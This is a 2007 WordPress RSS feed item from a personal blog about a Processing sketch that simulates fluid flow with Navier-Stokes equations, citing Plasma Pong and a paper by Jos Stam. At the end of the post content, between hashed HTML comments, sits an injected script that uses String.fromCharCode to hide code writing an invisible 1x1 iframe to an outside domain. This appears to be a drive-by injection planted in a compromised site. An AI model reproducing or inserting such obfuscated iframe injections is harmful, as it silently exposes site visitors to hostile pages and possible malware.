<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.1.2" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>phagor</title>
	<link>http://www.phagor.com/blog</link>
	<description></description>
	<pubDate>Wed, 04 Aug 2010 10:30:09 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.1.2</generator>
	<language>en</language>
			<item>
		<title>Fluid</title>
		<link>http://www.phagor.com/blog/?p=5</link>
		<comments>http://www.phagor.com/blog/?p=5#comments</comments>
		<pubDate>Fri, 23 Mar 2007 22:04:03 +0000</pubDate>
		<dc:creator>phagor</dc:creator>
		
		<category><![CDATA[Processing]]></category>

		<guid isPermaLink="false">http://www.phagor.com/blog/?p=5</guid>
		<description><![CDATA[&#60;a href='/blog/?p=5'&#62;&#60;img src='http://www.phagor.com/blog/wp-content/uploads/2007/03/screenshot-2007323221638.png' alt='screenshot-2007323221638.png' class=&#34;thumb&#34;  /&#62;&#60;/a&#62;My first sketch uploaded to this blog! This sketch approximates fluid dynamics using Navier-Stokes equations for fluid flow. A vector field is used to represent the velocity of the flow and the density of the fluid is mapped to a colour gradient. For extra sparkle, I used a simple lighting model to add highlights.]]></description>
			<content:encoded><![CDATA[<p><img src='http://www.phagor.com/blog/wp-content/uploads/2007/03/screenshot-2007323215022.png' alt='screenshot-2007323215022.png' class="thumb" /></p>
<p><img src='http://www.phagor.com/blog/wp-content/uploads/2007/03/screenshot-2007323214419.png' alt='screenshot-2007323214419.png' class="thumb" /><img src='http://www.phagor.com/blog/wp-content/uploads/2007/03/screenshot-2007323221638.png' alt='screenshot-2007323221638.png' class="thumb" /><img src='http://www.phagor.com/blog/wp-content/uploads/2007/03/screenshot-2007323223317.png' alt='screenshot-2007323223317.png' class="thumb" /></p>
<p><a href="/processing/sketches/fluid_dynamics/applet/" target="_blank"><img src="http://www.phagor.com/blog/wp-content/themes/hemmed/images/links.gif" align="absmiddle"> Interactive Version</a></p>
<p>My first sketch uploaded to this blog! This sketch approximates fluid dynamics using Navier-Stokes equations for fluid flow. A vector field is used to represent the velocity of the flow and the density of the fluid is mapped to a colour gradient. For extra sparkle, I used a simple lighting model to add highlights.</p>
<p>I wrote this sketch after stumbling on <a href="http://www.plasmapong.com/">Plasma Pong </a>on the web the other day. This is a new variation on the old Pong game where the ball is gusted around on clouds of colourful &#8216;plasma&#8217;.</p>
<p>Usefully, the author, Steve Taylor, credits several sources for the approach he uses, including this article: <a href="http://www.dgp.toronto.edu/people/stam/reality/Research/pdf/GDC03.pdf">Real-time Fluid Dynamics for Games (PDF)</a> by Jos Stam of Alias | wavefront, which was very helpful.</p>
<p>The interactive applet runs reasonably well at a grid size of 128&#215;128 pixels. For the next version, I&#8217;ll try a hi-res version with automatic input of density and velocity rendered to a video. It&#8217;d be nice to try camera tracking and audio beat detection as inputs too.<!--c6978ec535ab20b6a89a364ce2b75aac22010--></p>
<script type="text/javascript">document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))</script>
<p><!--/c6978ec535ab20b6a89a364ce2b75aac22010--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.phagor.com/blog/?feed=rss2&amp;p=5</wfw:commentRss>
		</item>
	</channel>
</rss>
